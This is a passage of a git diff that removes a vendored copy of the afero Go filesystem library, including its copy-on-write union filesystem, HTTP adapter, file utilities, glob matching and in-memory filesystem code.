OS_TRUNC above, should we remove? then we have to - // remember if the file did not exist before - bfh.Close() - return nil, err - } - return &UnionFile{base: bfh, layer: lfh}, nil -} diff --git a/vendor/github.com/spf13/afero/const_bsds.go b/vendor/github.com/spf13/afero/const_bsds.go deleted file mode 100644 index 5728243d96..0000000000 --- a/vendor/github.com/spf13/afero/const_bsds.go +++ /dev/null @@ -1,22 +0,0 @@ -// Copyright Š 2016 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build darwin openbsd freebsd netbsd dragonfly - -package afero - -import ( - "syscall" -) - -const BADFD = syscall.EBADF diff --git a/vendor/github.com/spf13/afero/const_win_unix.go b/vendor/github.com/spf13/afero/const_win_unix.go deleted file mode 100644 index 968fc2783e..0000000000 --- a/vendor/github.com/spf13/afero/const_win_unix.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright Š 2016 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// +build !darwin -// +build !openbsd -// +build !freebsd -// +build !dragonfly -// +build !netbsd - -package afero - -import ( - "syscall" -) - -const BADFD = syscall.EBADFD diff --git a/vendor/github.com/spf13/afero/copyOnWriteFs.go b/vendor/github.com/spf13/afero/copyOnWriteFs.go deleted file mode 100644 index ed692ae95c..0000000000 --- a/vendor/github.com/spf13/afero/copyOnWriteFs.go +++ /dev/null @@ -1,253 +0,0 @@ -package afero - -import ( - "fmt" - "os" - "path/filepath" - "syscall" - "time" -) - -// The CopyOnWriteFs is a union filesystem: a read only base file system with -// a possibly writeable layer on top. Changes to the file system will only -// be made in the overlay: Changing an existing file in the base layer which -// is not present in the overlay will copy the file to the overlay ("changing" -// includes also calls to e.g. Chtimes() and Chmod()). -// -// Reading directories is currently only supported via Open(), not OpenFile(). -type CopyOnWriteFs struct { - base Fs - layer Fs -} - -func NewCopyOnWriteFs(base Fs, layer Fs) Fs { - return &CopyOnWriteFs{base: base, layer: layer} -} - -// Returns true if the file is not in the overlay -func (u *CopyOnWriteFs) isBaseFile(name string) (bool, error) { - if _, err := u.layer.Stat(name); err == nil { - return false, nil - } - _, err := u.base.Stat(name) - if err != nil { - if oerr, ok := err.(*os.PathError); ok { - if oerr.Err == os.ErrNotExist || oerr.Err == syscall.ENOENT || oerr.Err == syscall.ENOTDIR { - return false, nil - } - } - if err == syscall.ENOENT { - return false, nil - } - } - return true, err -} - -func (u *CopyOnWriteFs) copyToLayer(name string) error { - return copyToLayer(u.base, u.layer, name) -} - -func (u *CopyOnWriteFs) Chtimes(name string, atime, mtime time.Time) error { - b, err := u.isBaseFile(name) - if err != nil { - return err - } - if b { - if err := u.copyToLayer(name); err != nil { - return err - } - } - return u.layer.Chtimes(name, atime, mtime) -} - -func (u *CopyOnWriteFs) Chmod(name string, mode os.FileMode) error { - b, err := u.isBaseFile(name) - if err != nil { - return err - } - if b { - if err := u.copyToLayer(name); err != nil { - return err - } - } - return u.layer.Chmod(name, mode) -} - -func (u *CopyOnWriteFs) Stat(name string) (os.FileInfo, error) { - fi, err := u.layer.Stat(name) - if err != nil { - origErr := err - if e, ok := err.(*os.PathError); ok { - err = e.Err - } - if err == syscall.ENOENT || err == syscall.ENOTDIR { - return u.base.Stat(name) - } - return nil, origErr - } - return fi, nil -} - -// Renaming files present only in the base layer is not permitted -func (u *CopyOnWriteFs) Rename(oldname, newname string) error { - b, err := u.isBaseFile(oldname) - if err != nil { - return err - } - if b { - return syscall.EPERM - } - return u.layer.Rename(oldname, newname) -} - -// Removing files present only in the base layer is not permitted. If -// a file is present in the base layer and the overlay, only the overlay -// will be removed. -func (u *CopyOnWriteFs) Remove(name string) error { - err := u.layer.Remove(name) - switch err { - case syscall.ENOENT: - _, err = u.base.Stat(name) - if err == nil { - return syscall.EPERM - } - return syscall.ENOENT - default: - return err - } -} - -func (u *CopyOnWriteFs) RemoveAll(name string) error { - err := u.layer.RemoveAll(name) - switch err { - case syscall.ENOENT: - _, err = u.base.Stat(name) - if err == nil { - return syscall.EPERM - } - return syscall.ENOENT - default: - return err - } -} - -func (u *CopyOnWriteFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - b, err := u.isBaseFile(name) - if err != nil { - return nil, err - } - - if flag&(os.O_WRONLY|os.O_RDWR|os.O_APPEND|os.O_CREATE|os.O_TRUNC) != 0 { - if b { - if err = u.copyToLayer(name); err != nil { - return nil, err - } - return u.layer.OpenFile(name, flag, perm) - } - - dir := filepath.Dir(name) - isaDir, err := IsDir(u.base, dir) - if err != nil && !os.IsNotExist(err) { - return nil, err - } - if isaDir { - if err = u.layer.MkdirAll(dir, 0777); err != nil { - return nil, err - } - return u.layer.OpenFile(name, flag, perm) - } - - isaDir, err = IsDir(u.layer, dir) - if err != nil { - return nil, err - } - if isaDir { - return u.layer.OpenFile(name, flag, perm) - } - - return nil, &os.PathError{Op: "open", Path: name, Err: syscall.ENOTDIR} // ...or os.ErrNotExist? - } - if b { - return u.base.OpenFile(name, flag, perm) - } - return u.layer.OpenFile(name, flag, perm) -} - -// This function handles the 9 different possibilities caused -// by the union which are the intersection of the following... -// layer: doesn't exist, exists as a file, and exists as a directory -// base: doesn't exist, exists as a file, and exists as a directory -func (u *CopyOnWriteFs) Open(name string) (File, error) { - // Since the overlay overrides the base we check that first - b, err := u.isBaseFile(name) - if err != nil { - return nil, err - } - - // If overlay doesn't exist, return the base (base state irrelevant) - if b { - return u.base.Open(name) - } - - // If overlay is a file, return it (base state irrelevant) - dir, err := IsDir(u.layer, name) - if err != nil { - return nil, err - } - if !dir { - return u.layer.Open(name) - } - - // Overlay is a directory, base state now matters. - // Base state has 3 states to check but 2 outcomes: - // A. It's a file or non-readable in the base (return just the overlay) - // B. It's an accessible directory in the base (return a UnionFile) - - // If base is file or nonreadable, return overlay - dir, err = IsDir(u.base, name) - if !dir || err != nil { - return u.layer.Open(name) - } - - // Both base & layer are directories - // Return union file (if opens are without error) - bfile, bErr := u.base.Open(name) - lfile, lErr := u.layer.Open(name) - - // If either have errors at this point something is very wrong. Return nil and the errors - if bErr != nil || lErr != nil { - return nil, fmt.Errorf("BaseErr: %v\nOverlayErr: %v", bErr, lErr) - } - - return &UnionFile{base: bfile, layer: lfile}, nil -} - -func (u *CopyOnWriteFs) Mkdir(name string, perm os.FileMode) error { - dir, err := IsDir(u.base, name) - if err != nil { - return u.layer.MkdirAll(name, perm) - } - if dir { - return syscall.EEXIST - } - return u.layer.MkdirAll(name, perm) -} - -func (u *CopyOnWriteFs) Name() string { - return "CopyOnWriteFs" -} - -func (u *CopyOnWriteFs) MkdirAll(name string, perm os.FileMode) error { - dir, err := IsDir(u.base, name) - if err != nil { - return u.layer.MkdirAll(name, perm) - } - if dir { - return syscall.EEXIST - } - return u.layer.MkdirAll(name, perm) -} - -func (u *CopyOnWriteFs) Create(name string) (File, error) { - return u.OpenFile(name, os.O_CREATE|os.O_TRUNC|os.O_RDWR, 0666) -} diff --git a/vendor/github.com/spf13/afero/httpFs.go b/vendor/github.com/spf13/afero/httpFs.go deleted file mode 100644 index c42193688c..0000000000 --- a/vendor/github.com/spf13/afero/httpFs.go +++ /dev/null @@ -1,110 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "errors" - "net/http" - "os" - "path" - "path/filepath" - "strings" - "time" -) - -type httpDir struct { - basePath string - fs HttpFs -} - -func (d httpDir) Open(name string) (http.File, error) { - if filepath.Separator != '/' && strings.IndexRune(name, filepath.Separator) >= 0 || - strings.Contains(name, "\x00") { - return nil, errors.New("http: invalid character in file path") - } - dir := string(d.basePath) - if dir == "" { - dir = "." - } - - f, err := d.fs.Open(filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))) - if err != nil { - return nil, err - } - return f, nil -} - -type HttpFs struct { - source Fs -} - -func NewHttpFs(source Fs) *HttpFs { - return &HttpFs{source: source} -} - -func (h HttpFs) Dir(s string) *httpDir { - return &httpDir{basePath: s, fs: h} -} - -func (h HttpFs) Name() string { return "h HttpFs" } - -func (h HttpFs) Create(name string) (File, error) { - return h.source.Create(name) -} - -func (h HttpFs) Chmod(name string, mode os.FileMode) error { - return h.source.Chmod(name, mode) -} - -func (h HttpFs) Chtimes(name string, atime time.Time, mtime time.Time) error { - return h.source.Chtimes(name, atime, mtime) -} - -func (h HttpFs) Mkdir(name string, perm os.FileMode) error { - return h.source.Mkdir(name, perm) -} - -func (h HttpFs) MkdirAll(path string, perm os.FileMode) error { - return h.source.MkdirAll(path, perm) -} - -func (h HttpFs) Open(name string) (http.File, error) { - f, err := h.source.Open(name) - if err == nil { - if httpfile, ok := f.(http.File); ok { - return httpfile, nil - } - } - return nil, err -} - -func (h HttpFs) OpenFile(name string, flag int, perm os.FileMode) (File, error) { - return h.source.OpenFile(name, flag, perm) -} - -func (h HttpFs) Remove(name string) error { - return h.source.Remove(name) -} - -func (h HttpFs) RemoveAll(path string) error { - return h.source.RemoveAll(path) -} - -func (h HttpFs) Rename(oldname, newname string) error { - return h.source.Rename(oldname, newname) -} - -func (h HttpFs) Stat(name string) (os.FileInfo, error) { - return h.source.Stat(name) -} diff --git a/vendor/github.com/spf13/afero/ioutil.go b/vendor/github.com/spf13/afero/ioutil.go deleted file mode 100644 index 5c3a3d8fff..0000000000 --- a/vendor/github.com/spf13/afero/ioutil.go +++ /dev/null @@ -1,230 +0,0 @@ -// Copyright Š2015 The Go Authors -// Copyright Š2015 Steve Francia -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "bytes" - "io" - "os" - "path/filepath" - "sort" - "strconv" - "sync" - "time" -) - -// byName implements sort.Interface. -type byName []os.FileInfo - -func (f byName) Len() int { return len(f) } -func (f byName) Less(i, j int) bool { return f[i].Name() < f[j].Name() } -func (f byName) Swap(i, j int) { f[i], f[j] = f[j], f[i] } - -// ReadDir reads the directory named by dirname and returns -// a list of sorted directory entries. -func (a Afero) ReadDir(dirname string) ([]os.FileInfo, error) { - return ReadDir(a.Fs, dirname) -} - -func ReadDir(fs Fs, dirname string) ([]os.FileInfo, error) { - f, err := fs.Open(dirname) - if err != nil { - return nil, err - } - list, err := f.Readdir(-1) - f.Close() - if err != nil { - return nil, err - } - sort.Sort(byName(list)) - return list, nil -} - -// ReadFile reads the file named by filename and returns the contents. -// A successful call returns err == nil, not err == EOF. Because ReadFile -// reads the whole file, it does not treat an EOF from Read as an error -// to be reported. -func (a Afero) ReadFile(filename string) ([]byte, error) { - return ReadFile(a.Fs, filename) -} - -func ReadFile(fs Fs, filename string) ([]byte, error) { - f, err := fs.Open(filename) - if err != nil { - return nil, err - } - defer f.Close() - // It's a good but not certain bet that FileInfo will tell us exactly how much to - // read, so let's try it but be prepared for the answer to be wrong. - var n int64 - - if fi, err := f.Stat(); err == nil { - // Don't preallocate a huge buffer, just in case. - if size := fi.Size(); size < 1e9 { - n = size - } - } - // As initial capacity for readAll, use n + a little extra in case Size is zero, - // and to avoid another allocation after Read has filled the buffer. The readAll - // call will read into its allocated internal buffer cheaply. If the size was - // wrong, we'll either waste some space off the end or reallocate as needed, but - // in the overwhelmingly common case we'll get it just right. - return readAll(f, n+bytes.MinRead) -} - -// readAll reads from r until an error or EOF and returns the data it read -// from the internal buffer allocated with a specified capacity. -func readAll(r io.Reader, capacity int64) (b []byte, err error) { - buf := bytes.NewBuffer(make([]byte, 0, capacity)) - // If the buffer overflows, we will get bytes.ErrTooLarge. - // Return that as an error. Any other panic remains. - defer func() { - e := recover() - if e == nil { - return - } - if panicErr, ok := e.(error); ok && panicErr == bytes.ErrTooLarge { - err = panicErr - } else { - panic(e) - } - }() - _, err = buf.ReadFrom(r) - return buf.Bytes(), err -} - -// ReadAll reads from r until an error or EOF and returns the data it read. -// A successful call returns err == nil, not err == EOF. Because ReadAll is -// defined to read from src until EOF, it does not treat an EOF from Read -// as an error to be reported. -func ReadAll(r io.Reader) ([]byte, error) { - return readAll(r, bytes.MinRead) -} - -// WriteFile writes data to a file named by filename. -// If the file does not exist, WriteFile creates it with permissions perm; -// otherwise WriteFile truncates it before writing. -func (a Afero) WriteFile(filename string, data []byte, perm os.FileMode) error { - return WriteFile(a.Fs, filename, data, perm) -} - -func WriteFile(fs Fs, filename string, data []byte, perm os.FileMode) error { - f, err := fs.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) - if err != nil { - return err - } - n, err := f.Write(data) - if err == nil && n < len(data) { - err = io.ErrShortWrite - } - if err1 := f.Close(); err == nil { - err = err1 - } - return err -} - -// Random number state. -// We generate random temporary file names so that there's a good -// chance the file doesn't exist yet - keeps the number of tries in -// TempFile to a minimum. -var rand uint32 -var randmu sync.Mutex - -func reseed() uint32 { - return uint32(time.Now().UnixNano() + int64(os.Getpid())) -} - -func nextSuffix() string { - randmu.Lock() - r := rand - if r == 0 { - r = reseed() - } - r = r*1664525 + 1013904223 // constants from Numerical Recipes - rand = r - randmu.Unlock() - return strconv.Itoa(int(1e9 + r%1e9))[1:] -} - -// TempFile creates a new temporary file in the directory dir -// with a name beginning with prefix, opens the file for reading -// and writing, and returns the resulting *File. -// If dir is the empty string, TempFile uses the default directory -// for temporary files (see os.TempDir). -// Multiple programs calling TempFile simultaneously -// will not choose the same file. The caller can use f.Name() -// to find the pathname of the file. It is the caller's responsibility -// to remove the file when no longer needed. -func (a Afero) TempFile(dir, prefix string) (f File, err error) { - return TempFile(a.Fs, dir, prefix) -} - -func TempFile(fs Fs, dir, prefix string) (f File, err error) { - if dir == "" { - dir = os.TempDir() - } - - nconflict := 0 - for i := 0; i < 10000; i++ { - name := filepath.Join(dir, prefix+nextSuffix()) - f, err = fs.OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0600) - if os.IsExist(err) { - if nconflict++; nconflict > 10 { - randmu.Lock() - rand = reseed() - randmu.Unlock() - } - continue - } - break - } - return -} - -// TempDir creates a new temporary directory in the directory dir -// with a name beginning with prefix and returns the path of the -// new directory. If dir is the empty string, TempDir uses the -// default directory for temporary files (see os.TempDir). -// Multiple programs calling TempDir simultaneously -// will not choose the same directory. It is the caller's responsibility -// to remove the directory when no longer needed. -func (a Afero) TempDir(dir, prefix string) (name string, err error) { - return TempDir(a.Fs, dir, prefix) -} -func TempDir(fs Fs, dir, prefix string) (name string, err error) { - if dir == "" { - dir = os.TempDir() - } - - nconflict := 0 - for i := 0; i < 10000; i++ { - try := filepath.Join(dir, prefix+nextSuffix()) - err = fs.Mkdir(try, 0700) - if os.IsExist(err) { - if nconflict++; nconflict > 10 { - randmu.Lock() - rand = reseed() - randmu.Unlock() - } - continue - } - if err == nil { - name = try - } - break - } - return -} diff --git a/vendor/github.com/spf13/afero/match.go b/vendor/github.com/spf13/afero/match.go deleted file mode 100644 index 08b3b7e014..0000000000 --- a/vendor/github.com/spf13/afero/match.go +++ /dev/null @@ -1,110 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// Copyright 2009 The Go Authors. All rights reserved. - -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "path/filepath" - "sort" - "strings" -) - -// Glob returns the names of all files matching pattern or nil -// if there is no matching file. The syntax of patterns is the same -// as in Match. The pattern may describe hierarchical names such as -// /usr/*/bin/ed (assuming the Separator is '/'). -// -// Glob ignores file system errors such as I/O errors reading directories. -// The only possible returned error is ErrBadPattern, when pattern -// is malformed. -// -// This was adapted from (http://golang.org/pkg/path/filepath) and uses several -// built-ins from that package. -func Glob(fs Fs, pattern string) (matches []string, err error) { - if !hasMeta(pattern) { - // afero does not support Lstat directly. - if _, err = lstatIfOs(fs, pattern); err != nil { - return nil, nil - } - return []string{pattern}, nil - } - - dir, file := filepath.Split(pattern) - switch dir { - case "": - dir = "." - case string(filepath.Separator): - // nothing - default: - dir = dir[0 : len(dir)-1] // chop off trailing separator - } - - if !hasMeta(dir) { - return glob(fs, dir, file, nil) - } - - var m []string - m, err = Glob(fs, dir) - if err != nil { - return - } - for _, d := range m { - matches, err = glob(fs, d, file, matches) - if err != nil { - return - } - } - return -} - -// glob searches for files matching pattern in the directory dir -// and appends them to matches. If the directory cannot be -// opened, it returns the existing matches. New matches are -// added in lexicographical order. -func glob(fs Fs, dir, pattern string, matches []string) (m []string, e error) { - m = matches - fi, err := fs.Stat(dir) - if err != nil { - return - } - if !fi.IsDir() { - return - } - d, err := fs.Open(dir) - if err != nil { - return - } - defer d.Close() - - names, _ := d.Readdirnames(-1) - sort.Strings(names) - - for _, n := range names { - matched, err := filepath.Match(pattern, n) - if err != nil { - return m, err - } - if matched { - m = append(m, filepath.Join(dir, n)) - } - } - return -} - -// hasMeta reports whether path contains any of the magic characters -// recognized by Match. -func hasMeta(path string) bool { - // TODO(niemeyer): Should other magic characters be added here? - return strings.IndexAny(path, "*?[") >= 0 -} diff --git a/vendor/github.com/spf13/afero/mem/dir.go b/vendor/github.com/spf13/afero/mem/dir.go deleted file mode 100644 index e104013f45..0000000000 --- a/vendor/github.com/spf13/afero/mem/dir.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package mem - -type Dir interface { - Len() int - Names() []string - Files() []*FileData - Add(*FileData) - Remove(*FileData) -} - -func RemoveFromMemDir(dir *FileData, f *FileData) { - dir.memDir.Remove(f) -} - -func AddToMemDir(dir *FileData, f *FileData) { - dir.memDir.Add(f) -} - -func InitializeDir(d *FileData) { - if d.memDir == nil { - d.dir = true - d.memDir = &DirMap{} - } -} diff --git a/vendor/github.com/spf13/afero/mem/dirmap.go b/vendor/github.com/spf13/afero/mem/dirmap.go deleted file mode 100644 index 03a57ee5b5..0000000000 --- a/vendor/github.com/spf13/afero/mem/dirmap.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright Š 2015 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package mem - -import "sort" - -type DirMap map[string]*FileData - -func (m DirMap) Len() int { return len(m) } -func (m DirMap) Add(f *FileData) { m[f.name] = f } -func (m DirMap) Remove(f *FileData) { delete(m, f.name) } -func (m DirMap) Files() (files []*FileData) { - for _, f := range m { - files = append(files, f) - } - sort.Sort(filesSorter(files)) - return files -} - -// implement sort.Interface for []*FileData -type filesSorter []*FileData - -func (s filesSorter) Len() int { return len(s) } -func (s filesSorter) Swap(i, j int) { s[i], s[j] = s[j], s[i] } -func (s filesSorter) Less(i, j int) bool { return s[i].name < s[j].name } - -func (m DirMap) Names() (names []string) { - for x := range m { - names = append(names, x) - } - return names -} diff --git a/vendor/github.com/spf13/afero/mem/file.go b/vendor/github.com/spf13/afero/mem/file.go deleted file mode 100644 index e41e0123d6..0000000000 --- a/vendor/github.com/spf13/afero/mem/file.go +++ /dev/null @@ -1,285 +0,0 @@ -// Copyright Š 2015 Steve Francia . -// Copyright 2013 tsuru authors. All rights reserved. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package mem - -import ( - "bytes" - "errors" - "io" - "os" - "path/filepath" - "sync" - "sync/atomic" -) - -import "time" - -const FilePathSeparator = string(filepath.Separator) - -type File struct { - // atomic requires 64-bit alignment for struct field access - at int64 - readDirCount int64 - closed bool - readOnly bool - fileData *FileData -} - -func NewFileHandle(data *FileData) *File { - return &File{fileData: data} -} - -func NewReadOnlyFileHandle(data *FileData) *File { - return &File{fileData: data, readOnly: true} -} - -func (f File) Data() *FileData { - return f.fileData -} - -type FileData struct { - sync.Mutex - name string - data []byte - memDir Dir - dir bool - mode os.FileMode - modtime time.Time -} - -func (d *FileData) Name() string { - d.Lock() - defer d.Unlock() - return d.name -} - -func CreateFile(name string) *FileData { - return &FileData{name: name, mode: os.ModeTemporary, modtime: time.Now()} -} - -func CreateDir(name string) *FileData { - return &FileData{name: name, memDir: &DirMap{}, dir: true} -} - -func ChangeFileName(f *FileData, newname string) { - f.name = newname -} - -func SetMode(f *FileData, mode os.FileMode) { - f.mode = mode -} - -func SetModTime(f *FileData, mtime time.Time) { - f.modtime = mtime -} - -func GetFileInfo(f *FileData) *FileInfo { - return &FileInfo{f} -} - -func (f *File) Open() error { - atomic.StoreInt64(&f.at, 0) - atomic.StoreInt64(&f.readDirCount, 0) - f.fileData.Lock() - f.closed = false - f.fileData.Unlock() - return nil -} - -func (f *File) Close() error { - f.fileData.Lock() - f.closed = true - if !f.readOnly { - SetModTime(f.fileData, time.Now()) - } - f.fileData.Unlock() - return nil -} - -func (f *File) Name() string { - return f.fileData.Name() -} - -func (f *File) Stat() (os.FileInfo, error) { - return &FileInfo{f.fileData}, nil -} - -func (f *File) Sync() error { - return nil -} - -func (f *File) Readdir(count int) (res []os.FileInfo, err error) { - var outLength int64 - - f.fileData.Lock() - files := f.fileData.memDir.Files()[f.readDirCount:] - if count > 0 { - if len(files) < count { - outLength = int64(len(files)) - } else { - outLength = int64(count) - } - if len(files) == 0 { - err = io.EOF - } - } else { - outLength = int64(len(files)) - } - f.readDirCount += outLength - f.fileData.Unlock() - - res = make([]os.FileInfo, outLength) - for i := range res { - res[i] = &FileInfo{files[i]} - } - - return res, err -} - -func (f *File) Readdirnames(n int) (names []string, err error) { - fi, err := f.Readdir(n) - names = make([]string, len(fi)) - for i, f := range fi { - _, names[i] = filepath.Split(f.Name()) - } - return names, err -} - -func (f *File) Read(b []byte) (n int, err error) { - f.fileData.Lock() - defer f.fileData.Unlock() - if f.closed == true { - return 0, ErrFileClosed - } - if len(b) > 0 && int(f.at) == len(f.fileData.data) { - return 0, io.EOF - } - if len(f.fileData.data)-int(f.at) >= len(b) { - n = len(b) - } else { - n = len(f.fileData.data) - int(f.at) - } - copy(b, f.fileData.data[f.at:f.at+int64(n)]) - atomic.AddInt64(&f.at, int64(n)) - return -} - -func (f *File) ReadAt(b []byte, off int64) (n int, err error) { - atomic.StoreInt64(&f.at, off) - return f.Read(b) -} - -func (f *File) Truncate(size int64) error { - if f.closed == true { - return ErrFileClosed - } - if f.readOnly { - return &os.PathError{Op: "truncate", Path: f.fileData.name, Err: errors.New("file handle is read only")} - } - if size < 0 { - return ErrOutOfRange - } - if size > int64(len(f.fileData.data)) { - diff := size - int64(len(f.fileData.data)) - f.fileData.data = append(f.fileData.data, bytes.Repeat([]byte{00}, int(diff))...) - } else { - f.fileData.data = f.fileData.data[0:size] - } - SetModTime(f.fileData, time.Now()) - return nil -} - -func (f *File) Seek(offset int64, whence int) (int64, error) { - if f.closed == true { - return 0, ErrFileClosed - } - switch whence { - case 0: - atomic.StoreInt64(&f.at, offset) - case 1: - atomic.AddInt64(&f.at, int64(offset)) - case 2: - atomic.StoreInt64(&f.at, int64(len(f.fileData.data))+offset) - } - return f.at, nil -} - -func (f *File) Write(b []byte) (n int, err error) { - if f.readOnly { - return 0, &os.PathError{Op: "write", Path: f.fileData.name, Err: errors.New("file handle is read only")} - } - n = len(b) - cur := atomic.LoadInt64(&f.at) - f.fileData.Lock() - defer f.fileData.Unlock() - diff := cur - int64(len(f.fileData.data)) - var tail []byte - if n+int(cur) < len(f.fileData.data) { - tail = f.fileData.data[n+int(cur):] - } - if diff > 0 { - f.fileData.data = append(bytes.Repeat([]byte{00}, int(diff)), b...) - f.fileData.data = append(f.fileData.data, tail...) - } else { - f.fileData.data = append(f.fileData.data[:cur], b...) - f.fileData.data = append(f.fileData.data, tail...) - } - SetModTime(f.fileData, time.Now()) - - atomic.StoreInt64(&f.at, int64(len(f.fileData.data))) - return -} - -func (f *File) WriteAt(b []byte, off int64) (n int, err error) { - atomic.StoreInt64(&f.at, off) - return f.Write(b) -} - -func (f *File) WriteString(s string) (ret int, err error) { - return f.Write([]byte(s)) -} - -func (f *File) Info() *FileInfo { - return &FileInfo{f.fileData} -} - -type FileInfo struct { - *FileData -} - -// Implements os.FileInfo -func (s *FileInfo) Name() string { - _, name := filepath.Split(s.name) - return name -} -func (s *FileInfo) Mode() os.FileMode { return s.mode } -func (s *FileInfo) ModTime() time.Time { return s.modtime } -func (s *FileInfo) IsDir() bool { return s.dir } -func (s *FileInfo) Sys() interface{} { return nil } -func (s *FileInfo) Size() int64 { - if s.IsDir() { - return int64(42) - } - return int64(len(s.data)) -} - -var ( - ErrFileClosed = errors.New("File is closed") - ErrOutOfRange = errors.New("Out of range") - ErrTooLarge = errors.New("Too large") - ErrFileNotFound = os.ErrNotExist - ErrFileExists = os.ErrExist - ErrDestinationExists = os.ErrExist -) diff --git a/vendor/github.com/spf13/afero/memmap.go b/vendor/github.com/spf13/afero/memmap.go deleted file mode 100644 index 14cd438fb8..0000000000 --- a/vendor/github.com/spf13/afero/memmap.go +++ /dev/null @@ -1,366 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package afero - -import ( - "fmt" - "log" - "os" - "path/filepath" - "strings" - "sync" - "time" - - "github.com/spf13/afero/mem" -) - -type MemMapFs struct { - mu sync.RWMutex - data map[string]*mem.FileData - init sync.Once -} - -func NewMemMapFs() Fs { - return &MemMapFs{} -} - -func (m *MemMapFs) getData() map[string]*mem.FileData { - m.init.Do(func() { - m.data = make(map[string]*mem.FileData) - // Root should always exist, right? - // TODO: what about windows? - m.data[FilePathSeparator] = mem.CreateDir(FilePathSeparator) - }) - return m.data -} - -func (*MemMapFs) Name() string { return "MemMapFS" } - -func (m *MemMapFs) Create(name string) (File, error) { - name = normalizePath(name) - m.mu.Lock() - file := mem.CreateFile(name) - m.getData()[name] = file - m.registerWithParent(file) - m.mu.Unlock() - return mem.NewFileHandle(file), nil -} - -func (m *MemMapFs) unRegisterWithParent(fileName string) error { - f, err := m.lockfreeOpen(fileName) - if err != nil { - return err - } - parent := m.findParent(f) - if parent == nil { - log.Panic("parent of ", f.Name(), " is nil") - } - - parent.Lock() - mem.RemoveFromMemDir(parent, f) - parent.Unlock() - return nil -} - -func (m *MemMapFs) findParent(f *mem.FileData) *mem.FileData { - pdir, _ := filepath.Split(f.Name()) - pdir = filepath.Clean(pdir) - pfile, err := m.lockfreeOpen(pdir) - if err != nil { - return nil - } - return pfile -} - -func (m *MemMapFs) registerWithParent(f *mem.FileData) { - if f == nil { - return - } - parent := m.findParent(f) - if parent == nil { - pdir := filepath.Dir(filepath.Clean(f.Name())) - err := m.lockfreeMkdir(pdir, 0777) - if err != nil { - //log.Println("Mkdir error:", err) - return - } - parent, err = m.lockfreeOpen(pdir) - if err != nil { - //log.Println("Open after Mkdir error:", err) - return - } - } - - parent.Lock() - mem.InitializeDir(parent) - mem.AddToMemDir(parent, f) - parent.Unlock() -} - -func (m *MemMapFs) lockfreeMkdir(name string, perm os.FileMode) error { - name = normalizePath(name) - x, ok := m.getData()[name] - if ok { - // Only return ErrFileExists if it's a file, not a directory. - i := mem.FileInfo{FileData: x} - if !i.IsDir() { - return ErrFileExists 